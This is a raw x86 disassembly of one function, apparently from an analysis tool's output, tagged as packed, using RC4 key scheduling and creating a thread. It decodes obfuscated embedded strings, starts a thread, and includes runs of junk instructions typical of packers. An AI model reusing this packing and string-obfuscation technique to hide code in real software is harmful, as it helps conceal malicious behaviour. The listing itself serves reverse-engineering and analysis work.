Function at 0x830270
Capabilities:
Create thread
Encrypt data using rc4 ksa
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x568
push esi
push edi
xor esi, esi
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x566]
mov word [ebp - 0x568], si
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x568]
push eax
push esi
call dword [0x8d78d8]
test eax, eax
je 0x8319dd
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x35e]
mov word [ebp - 0x360], si
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x568]
push ebx
lea edx, [ebp - 0x360]
push ecx
push edx
stosw word es:[edi], ax
call fcn.00841c69
lea eax, [ebp - 0x360]
push 0x2e
push eax
call fcn.008419c7
mov ecx, eax
add esp, 0x10
mov dword [ebp - 0x44], ecx
cmp word [ecx + 4], 0x78
jne 0x830304
cmp word [ecx + 6], 0x65
je 0x830aa8
fld qword [0x893578]
fld qword [0x893578]
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8b48c8]
fsub st(1)
fxch st(1)
fmul qword [0x8a2878]
fadd qword [0x8b48c0]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8b48b8]
fnstsw ax
test ah, 0x41
jne 0x830349
fld st(0)
fmul qword [0x8b48b0]
fsubp st(2)
fadd qword [0x89a450]
fcom qword [0x8b48a8]
fnstsw ax
test ah, 1
jne 0x830310
fxch st(1)
fst qword [ebp - 0x54]
fxch st(1)
fstp st(0)
fcomp qword [0x893578]
fnstsw ax
test ah, 1
je 0x830399
pop ebx
dec esp
arpl word [edi + 0x67], ax
inc esi
pushal
push ebx
push 0x4b663d4f
xor esi, dword [ecx]
pop ebp
cmp dword [ebp + 0x4f], edx
popal
imul esp, dword [edi + 0x2d], 0x59
xor byte [esi], ch
daa
aaa
xor eax, dword [ecx + 0x29]
dec edx
dec ecx
jmp 0x830a5e
mov dword [ebp - 0x24], 0x830372
mov dword [ebp - 0x48], 0x83037c
xor eax, eax
mov byte [ebp + eax - 0x158], al
inc eax
cmp eax, 0x100
jb 0x8303a9
fld qword [ebp - 0x54]
mov byte [ebp - 8], 0
xor edi, edi
mov esi, dword [ebp - 8]
mov dword [ebp - 0x10], 0xff
mov eax, dword [ebp - 0x10]
mov ebx, 1
cmp eax, ebx
mov dword [ebp - 0xc], 0
jbe 0x8303e6
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x8303de
cmp edi, 3
ja case.default.0x8303eb
jmp dword [edi*4 + 0x8319e8]
fld st(0)
and esi, 0xff
call fcn.008416e4
mov cl, byte [ebp + esi - 0x158]
jmp 0x830467
fld st(0)
and esi, 0xff
call fcn.008416e4
mov cl, byte [ebp + esi - 0x158]
shr eax, 8
jmp 0x830467
fld st(0)
and esi, 0xff
call fcn.008416e4
mov cl, byte [ebp + esi - 0x158]
shr eax, 0x10
jmp 0x830467
fld st(0)
and esi, 0xff
call fcn.008416e4
mov cl, byte [ebp + esi - 0x158]
shr eax, 0x18
jmp 0x830467
mov ecx, dword [ebp - 0x48]
and esi, 0xff
mov cl, byte [ecx + edi - 4]
mov al, byte [ebp + esi - 0x158]
add cl, al
inc edi
cmp edi, 0x1c
mov byte [ebp - 8], cl
jb 0x83047a
xor edi, edi
add cl, 0x1c
mov byte [ebp - 8], cl
mov esi, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0xc], eax
jbe 0x83049a
mov eax, edx
xor edx, edx
div dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, edx
jb 0x8303e6
je 0x8304d2
mov bl, byte [ebp + eax - 0x158]
lea edx, [ebp + edx - 0x158]
lea ecx, [ebp + eax - 0x158]
mov al, byte [edx]
xor bl, al
mov byte [ecx], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ecx]
mov dl, bl
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
jne 0x8303cb
mov cl, byte [ebp - 0x151]
and esi, 0xff
mov byte [ebp - 0x20], cl
mov bl, byte [ebp - 0x155]
mov al, byte [ebp + esi - 0x158]
mov esi, dword [ebp - 0x24]
mov byte [ebp - 8], al
mov dl, byte [ebp - 0x153]
mov cl, byte [esi]
mov al, byte [esi + 1]
add cl, 7
sub al, 0x45
shl cl, 4
or al, cl
mov byte [ebp - 1], al
mov eax, dword [ebp - 8]
and eax, 0xff
fstp st(0)
mov cl, byte [ebp + eax - 0x158]
lea esi, [ebp + eax - 0x158]
mov eax, dword [ebp - 0x157]
mov byte [ebp - 0x14], cl
mov ecx, eax
and ecx, 0xff
mov cl, byte [ebp + ecx - 0x158]
add cl, bl
inc al
mov byte [ebp - 0xc], cl
mov byte [ebp - 0x18], al
mov eax, dword [ebp - 0xc]
and eax, 0xff
lea edi, [ebp + eax - 0x158]
mov al, byte [ebp + eax - 0x158]
mov byte [esi], al
mov eax, dword [ebp - 0x20]
and eax, 0xff
mov bl, byte [ebp + eax - 0x158]
lea eax, [ebp + eax - 0x158]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x10], eax
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x1c], ebx
mov bl, byte [ebx]
mov byte [eax], bl
mov ebx, dword [ebp - 0x1c]
mov al, byte [ebp - 0x14]
mov byte [ebx], al
mov eax, dword [ebp - 0x14]
and eax, 0xff
mov dword [ebp - 0x30], eax
mov bl, byte [ebp + eax - 0x158]
add dl, bl
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 0x28], dl
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x28]
mov bl, byte [ebx]
and eax, 0xff
mov al, byte [ebp + eax - 0x158]
add eax, ebx
mov bl, byte [esi]
add eax, ebx
xor ebx, ebx
and eax, 0xff
mov bl, byte [ebp + eax - 0x158]
mov al, byte [edi]
mov edi, dword [ebp - 0x30]
mov bl, byte [ebp + ebx - 0x158]
add eax, edi
and eax, 0xff
xor bl, byte [ebp + eax - 0x158]
mov al, byte [ebp - 1]
mov byte [ebp - 8], al
xor bl, al
mov eax, dword [ebp - 0x24]
mov byte [ebp - 0x20], bl
lea esi, [eax + 2]
mov al, byte [eax + 3]
sub al, 0x45
mov bl, byte [esi]
mov dword [ebp - 0x48], 2
add bl, 7
shl bl, 4
or al, bl
mov byte [ebp - 1], al
mov eax, dword [ebp - 8]
and eax, 0xff
lea edi, [ebp + eax - 0x158]
mov al, byte [ebp + eax - 0x158]
mov byte [ebp - 0x14], al
mov eax, dword [ebp - 0x1c]
mov bl, byte [eax]
add cl, bl
mov bl, byte [ebp - 0x18]
mov byte [ebp - 0xc], cl
inc bl
mov eax, dword [ebp - 0xc]
mov byte [ebp - 0x18], bl
and eax, 0xff
lea esi, [ebp + eax - 0x158]
mov dword [ebp - 0x2c], esi
mov al, byte [esi]
mov byte [edi], al
mov eax, dword [ebp - 0x20]
and eax, 0xff
mov bl, byte [ebp + eax - 0x158]
lea eax, [ebp + eax - 0x158]
mov byte [esi], bl
mov esi, dword [ebp - 0x18]
and esi, 0xff
mov bl, byte [ebp + esi - 0x158]
lea esi, [ebp + esi - 0x158]
mov byte [eax], bl
mov bl, byte [ebp - 0x14]
mov byte [esi], bl
mov ebx, dword [ebp - 0x14]
and ebx, 0xff
mov al, byte [eax]
mov dword [ebp - 0x30], ebx
add dl, byte [ebp + ebx - 0x158]
mov byte [ebp - 0x28], dl
mov ebx, dword [ebp - 0x28]
and ebx, 0xff
mov bl, byte [ebp + ebx - 0x158]
add ebx, eax
mov al, byte [edi]
mov edi, dword [ebp - 0x2c]
add ebx, eax
and ebx, 0xff
xor eax, eax
mov al, byte [ebp + ebx - 0x158]
mov bl, byte [edi]
mov edi, dword [ebp - 0x30]
mov al, byte [ebp + eax - 0x158]
add ebx, edi
and ebx, 0xff
mov edi, dword [ebp - 0x10]
xor al, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 1]
mov byte [ebp - 8], bl
xor al, bl
mov byte [ebp - 0x20], al
movsx ax, al
mov word [ebp - 0x40], ax
mov eax, dword [ebp - 0x24]
lea ebx, [eax + 2]
lea eax, [ebp - 0x40]
mov dword [ebp - 0x1c], eax
jmp 0x830728
mov ebx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x1c]
inc edi
add eax, 2
add ebx, 2
mov dword [ebp - 0x1c], eax
xor eax, eax
mov al, byte [ebx]
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x58], ebx
mov edi, dword [ebp - 0x58]
xor ebx, ebx
add al, 7
mov bl, byte [edi + 1]
shl al, 4
sub bl, 0x45
or al, bl
mov bl, byte [ebp - 0x18]
mov byte [ebp - 1], al
mov eax, dword [ebp - 8]
and eax, 0xff
lea edi, [ebp + eax - 0x158]
mov al, byte [ebp + eax - 0x158]
mov byte [ebp - 0x14], al
mov al, byte [esi]
add cl, al
inc bl
mov byte [ebp - 0xc], cl
mov byte [ebp - 0x18], bl
mov eax, dword [ebp - 0xc]
and eax, 0xff
lea esi, [ebp + eax - 0x158]
mov dword [ebp - 0x2c], esi
mov al, byte [esi]
mov byte [edi], al
mov eax, dword [ebp - 0x20]
and eax, 0xff
mov bl, byte [ebp + eax - 0x158]
lea eax, [ebp + eax - 0x158]
mov byte [esi], bl
mov esi, dword [ebp - 0x18]
and esi, 0xff
mov bl, byte [ebp + esi - 0x158]
lea esi, [ebp + esi - 0x158]
mov byte [eax], bl
mov bl, byte [ebp - 0x14]
mov byte [esi], bl
mov ebx, dword [ebp - 0x14]
and ebx, 0xff
mov al, byte [eax]
mov dword [ebp - 0x30], ebx
add dl, byte [ebp + ebx - 0x158]
mov byte [ebp - 0x28], dl
mov ebx, dword [ebp - 0x28]
and ebx, 0xff
mov bl, byte [ebp + ebx - 0x158]
add ebx, eax
mov al, byte [edi]
mov edi, dword [ebp - 0x2c]
add ebx, eax
and ebx, 0xff
xor eax, eax
mov al, byte [ebp + ebx - 0x158]
mov bl, byte [edi]
mov edi, dword [ebp - 0x30]
mov al, byte [ebp + eax - 0x158]
add ebx, edi
mov edi, dword [ebp - 0x10]
and ebx, 0xff
xor al, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 1]
mov byte [ebp - 8], bl
xor al, bl
test edi, edi
mov byte [ebp - 0x20], al
jbe 0x83083f
mov ebx, dword [ebp - 0x1c]
movsx ax, al
mov word [ebx], ax
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
jne 0x830725
mov esi, dword [ebp - 0x24]
inc edi
mov bl, byte [esi + edi*2]
mov al, byte [esi + edi*2 + 1]
add bl, 7
sub al, 0x45
shl bl, 4
or al, bl
mov byte [ebp - 1], al
mov eax, dword [ebp - 8]
and eax, 0xff
lea esi, [ebp + eax - 0x158]
mov al, byte [ebp + eax - 0x158]
mov byte [ebp - 0x14], al
mov eax, dword [ebp - 0x18]
and eax, 0xff
mov bl, byte [ebp + eax - 0x158]
mov al, byte [ebp - 0x18]
add cl, bl
inc al
mov byte [ebp - 0xc], cl
mov byte [ebp - 0x18], al
mov eax, dword [ebp - 0xc]
and eax, 0xff
mov bl, byte [ebp + eax - 0x158]
lea eax, [ebp + eax - 0x158]
mov byte [esi], bl
mov ebx, dword [ebp - 0x20]
and ebx, 0xff
mov dword [ebp - 0x2c], eax
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [eax], bl
mov eax, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
and eax, 0xff
lea eax, [ebp + eax - 0x158]
mov dword [ebp - 0x1c], eax
mov al, byte [eax]
mov byte [ebx], al
mov ebx, dword [ebp - 0x1c]
mov al, byte [ebp - 0x14]
mov byte [ebx], al
mov eax, dword [ebp - 0x14]
and eax, 0xff
mov dword [ebp - 0x30], eax
mov bl, byte [ebp + eax - 0x158]
add dl, bl
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 0x28], dl
mov eax, dword [ebp - 0x28]
mov bl, byte [ebx]
and eax, 0xff
mov al, byte [ebp + eax - 0x158]
add eax, ebx
mov bl, byte [esi]
add eax, ebx
xor ebx, ebx
and eax, 0xff
mov bl, byte [ebp + eax - 0x158]
mov eax, dword [ebp - 0x2c]
mov esi, ebx
mov bl, byte [eax]
mov eax, dword [ebp - 0x30]
add ebx, eax
mov al, byte [ebp + esi - 0x158]
and ebx, 0xff
xor al, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 1]
mov byte [ebp - 8], bl
xor al, bl
test edi, edi
mov byte [ebp - 0x20], al
jbe 0x830963
movsx ax, al
mov word [ebp + edi*2 - 0x42], ax
mov esi, dword [ebp - 0x24]
inc edi
mov al, byte [esi + edi*2 + 1]
mov bl, byte [esi + edi*2]
mov esi, dword [ebp - 8]
add bl, 7
and esi, 0xff
sub al, 0x45
shl bl, 4
lea esi, [ebp + esi - 0x158]
or al, bl
mov bl, byte [esi]
mov byte [ebp - 0x14], bl
mov ebx, dword [ebp - 0x1c]
add cl, byte [ebx]
mov byte [ebp - 0xc], cl
mov cl, byte [ebp - 0x18]
inc cl
mov byte [ebp - 0x18], cl
mov ecx, dword [ebp - 0xc]
and ecx, 0xff
mov bl, byte [ebp + ecx - 0x158]
lea ecx, [ebp + ecx - 0x158]
mov byte [esi], bl
mov ebx, dword [ebp - 0x20]
and ebx, 0xff
mov dword [ebp - 0x2c], ecx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [ecx], bl
mov ecx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
and ecx, 0xff
test edi, edi
lea ecx, [ebp + ecx - 0x158]
mov dword [ebp - 0x1c], ecx
mov cl, byte [ecx]
mov byte [ebx], cl
mov ebx, dword [ebp - 0x1c]
mov cl, byte [ebp - 0x14]
mov byte [ebx], cl
jbe 0x830a55
mov ecx, dword [ebp - 0x14]
and ecx, 0xff
mov bl, byte [ebp + ecx - 0x158]
add bl, dl
and ebx, 0xff
mov dl, byte [ebp + ebx - 0x158]
mov ebx, dword [ebp - 0x10]
mov bl, byte [ebx]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 0x2c]
mov dl, byte [edx]
add edx, ecx
mov cl, byte [ebp + ebx - 0x158]
and edx, 0xff
xor cl, byte [ebp + edx - 0x158]
xor cl, al
movsx dx, cl
mov word [ebp + edi*2 - 0x42], dx
mov ecx, dword [ebp - 0x44]
mov word [ebp - 0x38], 0
xor esi, esi
lea eax, [ebp - 0x40]
mov word [ecx], si
lea ecx, [ebp - 0x360]
push eax
push ecx
call fcn.00841c3f
lea edx, [ebp - 0x360]
lea eax, [ebp - 0x568]
push edx
push eax
call fcn.0084214e
mov ecx, 0x100
xor eax, eax
mov edi, 0x8d59c0
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x360]
push ecx
push 0x8d59c0
call fcn.00841c69
add esp, 0x18
lea edx, [ebp - 0x34]
push edx
push esi
push esi
push 0x82cf40
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
fld qword [0x893578]
fld qword [0x893578]
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8b48a0]
fsub st(1)
fxch st(1)
fmul qword [0x8a1cf0]
fadd qword [0x8b4898]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8b4890]
fnstsw ax
test ah, 0x41
jne 0x830b00
fld st(0)
fmul qword [0x8b4888]
fsubp st(2)
fadd qword [0x89a450]
fcom qword [0x8b4880]
fnstsw ax
test ah, 1
jne 0x830ac7
fxch st(1)
fst qword [ebp - 0x54]
fxch st(1)
fstp st(0)
fcomp qword [0x893578]
fnstsw ax
test ah, 1
je 0x830b5a
dec edi
jle 0x830b7a
jbe 0x830b9a
jle 0x830b7e
push edi
sub eax, 0x532b7e39
inc ebp
pop esi
inc esi
jge 0x830bab
xor dword [edx + 0x34], eax
inc edx
dec edx
insd dword es:[edi], dx
xor bh, byte [edx]
imul esi, dword ds:[ebx], 0x23
sbb ebp, esp
adc al, 0xe9
adc al, 0xec
adc al, 0xe9
push cs
in eax, 0x19
in al, 0xe9
adc dword [eax], ecx
add byte [eax], al
mov dword [ebp - 0x58], 0x830b49
mov dword [ebp - 0x44], 0x830b29
xor eax, eax
mov byte [ebp + eax - 0x158], al
inc eax
cmp eax, 0x100
jb 0x830b6a
fld qword [ebp - 0x54]
inc ebp
lodsb al, byte [esi]
mov byte [ebp - 0xc], 0
xor edi, edi
mov esi, dword [ebp - 0xc]
mov dword [ebp - 8], 0xff
hlt
mov eax, dword [ebp - 8]
mov ebx, 1
cmp eax, ebx
mov dword [ebp - 0x48], 0
jbe 0x830ba7
add byte [eax], al
add byte [esi + 8], dh
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x830b9f
cmp edi, 3
ja case.default.0x830bac
push 0xf8bd24ff
sbb dword [ebx - 0x7e3f2700], eax
fld st(0)
and esi, 0xff
call fcn.008416e4
jmp dword [edi*4 + 0x8319f8]
fld st(0)
and esi, 0xff
call fcn.008416e4
mov cl, byte [ebp + esi - 0x158]
jmp 0x830c28
fld st(0)
and esi, 0xff
call fcn.008416e4
mov cl, byte [ebp + esi - 0x158]
shr eax, 8
jmp 0x830c28
fld st(0)
and esi, 0xff
call fcn.008416e4
mov cl, byte [ebp + esi - 0x158]
shr eax, 0x10
jmp 0x830c28
fld st(0)
and esi, 0xff
call fcn.008416e4
mov cl, byte [ebp + esi - 0x158]
shr eax, 0x18
jmp 0x830c28
mov eax, dword [ebp - 0x44]
and esi, 0xff
mov cl, byte [eax + edi - 4]
mov al, byte [ebp + esi - 0x158]
add cl, al
inc edi
cmp edi, 0x24
mov byte [ebp - 0xc], cl
jb 0x830c3b
xor edi, edi
add cl, 0x24
mov byte [ebp - 0xc], cl
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 0x48]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0x48], eax
jbe 0x830c5b
mov eax, edx
xor edx, edx
div dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp eax, edx
jb 0x830ba7
je 0x830c9a
mov ecx, eax
mov al, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov bl, byte [ebp + ecx - 0x158]
lea ecx, [ebp + ecx - 0x158]
xor bl, al
mov byte [ecx], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ecx]
mov dl, bl
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 8], eax
jne 0x830b8c
mov dl, byte [ebp - 0x151]
mov edi, dword [ebp - 0x58]
and esi, 0xff
mov byte [ebp - 0x2c], dl
xor edx, edx
mov bl, byte [ebp - 0x155]
mov al, byte [ebp + esi - 0x158]
mov dl, byte [edi]
mov byte [ebp - 0xc], al
xor eax, eax
mov al, byte [edi + 1]
sub edx, 0xa
sub eax, 0xdd
mov cl, byte [ebp - 0x153]
shl edx, 4
or eax, edx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xc]
and eax, 0xff
fstp st(0)
mov dl, byte [ebp + eax - 0x158]
lea esi, [ebp + eax - 0x158]
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x157]
mov eax, edx
and eax, 0xff
mov al, byte [ebp + eax - 0x158]
add al, bl
inc dl
mov byte [ebp - 0x30], al
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0x30]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [esi], bl
mov ebx, dword [ebp - 0x2c]
and ebx, 0xff
mov dword [ebp - 0x20], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x18], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x18]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0x1c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x1c]
mov dl, byte [ebp - 0x24]
mov byte [ebx], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 0x18]
mov byte [ebp - 0x28], cl
mov edx, dword [ebp - 0x28]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
mov esi, dword [ebp - 0x10]
and edx, 0xff
xor ebx, ebx
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 0x20]
mov dl, byte [edx]
mov bl, byte [ebp + ebx - 0x158]
add edx, esi
and edx, 0xff
xor bl, byte [ebp + edx - 0x158]
mov dl, byte [ebp - 0x48]
xor bl, dl
mov byte [ebp - 0x2c], bl
xor ebx, ebx
mov dl, byte [edi + 2]
mov bl, byte [edi + 3]
add dl, 6
sub ebx, 0xdd
shl dl, 4
or dl, bl
mov byte [ebp - 1], dl
mov edx, dword [ebp - 0x48]
and edx, 0xff
lea esi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x1c]
mov bl, byte [edx]
mov dl, byte [ebp - 0x14]
add al, bl
inc dl
mov byte [ebp - 0x30], al
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0x30]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [esi], bl
mov ebx, dword [ebp - 0x2c]
and ebx, 0xff
mov dword [ebp - 0x20], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x18], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x18]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0x1c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x1c]
mov dl, byte [ebp - 0x24]
mov byte [ebx], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov ebx, dword [ebp - 0x18]
mov byte [ebp - 0x28], cl
mov edx, dword [ebp - 0x28]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 0x20]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x10]
add ebx, edx
mov dl, byte [ebp + esi - 0x158]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 1]
mov byte [ebp - 0xc], bl
xor dl, bl
xor ebx, ebx
mov byte [ebp - 0x2c], dl
movsx dx, dl
mov word [ebp - 0x40], dx
mov dl, byte [edi + 4]
mov bl, byte [edi + 5]
add dl, 6
sub ebx, 0xdd
shl dl, 4
or dl, bl
mov byte [ebp - 1], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
lea esi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x1c]
mov bl, byte [edx]
mov dl, byte [ebp - 0x14]
add al, bl
inc dl
mov byte [ebp - 0x30], al
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0x30]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [esi], bl
mov ebx, dword [ebp - 0x2c]
and ebx, 0xff
mov dword [ebp - 0x20], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x18], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x18]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0x1c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x1c]
mov dl, byte [ebp - 0x24]
mov byte [ebx], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 0x18]
mov byte [ebp - 0x28], cl
mov edx, dword [ebp - 0x28]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 0x20]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x10]
add ebx, edx
mov dl, byte [ebp + esi - 0x158]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 1]
mov byte [ebp - 0xc], bl
xor dl, bl
mov byte [ebp - 0x2c], dl
movsx dx, dl
mov word [ebp - 0x3e], dx
xor edx, edx
mov dl, byte [edi + 7]
mov esi, edx
xor edx, edx
mov dl, byte [edi + 6]
sub edx, 0xa
lea ebx, [esi - 0xdd]
shl dl, 4
or dl, bl
mov byte [ebp - 1], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
lea esi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x1c]
mov bl, byte [edx]
mov dl, byte [ebp - 0x14]
add al, bl
inc dl
mov byte [ebp - 0x30], al
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0x30]
and edx, 0xff
add edi, 8
mov dword [ebp - 8], 4
mov dword [ebp - 0x44], edi
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [esi], bl
mov ebx, dword [ebp - 0x2c]
and ebx, 0xff
mov dword [ebp - 0x20], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x18], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x18]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0x1c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x1c]
mov dl, byte [ebp - 0x24]
mov byte [ebx], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 0x18]
mov byte [ebp - 0x28], cl
mov edx, dword [ebp - 0x28]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 0x20]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x10]
add ebx, edx
mov dl, byte [ebp + esi - 0x158]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 1]
mov byte [ebp - 0xc], bl
xor dl, bl
mov byte [ebp - 0x2c], dl
movsx dx, dl
mov word [ebp - 0x3c], dx
mov bl, byte [edi]
mov dl, byte [edi + 1]
add bl, 6
add dl, 0x23
shl bl, 4
or dl, bl
mov byte [ebp - 1], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
lea esi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x1c]
mov bl, byte [edx]
add al, bl
mov bl, byte [ebp - 0x14]
mov byte [ebp - 0x30], al
inc bl
mov edx, dword [ebp - 0x30]
mov byte [ebp - 0x14], bl
and edx, 0xff
mov dword [ebp - 0x48], 2
lea edi, [ebp + edx - 0x158]
mov dword [ebp - 0x20], edi
mov dl, byte [edi]
mov byte [esi], dl
mov edx, dword [ebp - 0x2c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [edi], bl
mov edi, dword [ebp - 0x14]
and edi, 0xff
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edi - 0x158]
lea edi, [ebp + edi - 0x158]
mov byte [edx], bl
mov dl, byte [ebp - 0x24]
mov byte [edi], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 0x18]
mov byte [ebp - 0x28], cl
mov edx, dword [ebp - 0x28]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 0x20]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x10]
add ebx, edx
mov dl, byte [ebp + esi - 0x158]
and ebx, 0xff
mov esi, dword [ebp - 0x44]
xor dl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 1]
mov byte [ebp - 0xc], bl
xor dl, bl
mov byte [ebp - 0x2c], dl
movsx dx, dl
mov word [ebp - 0x3a], dx
lea edx, [ebp - 0x3a]
mov dword [ebp - 0x1c], edx
jmp 0x831236
mov esi, dword [ebp - 0x44]
mov edx, dword [ebp - 8]
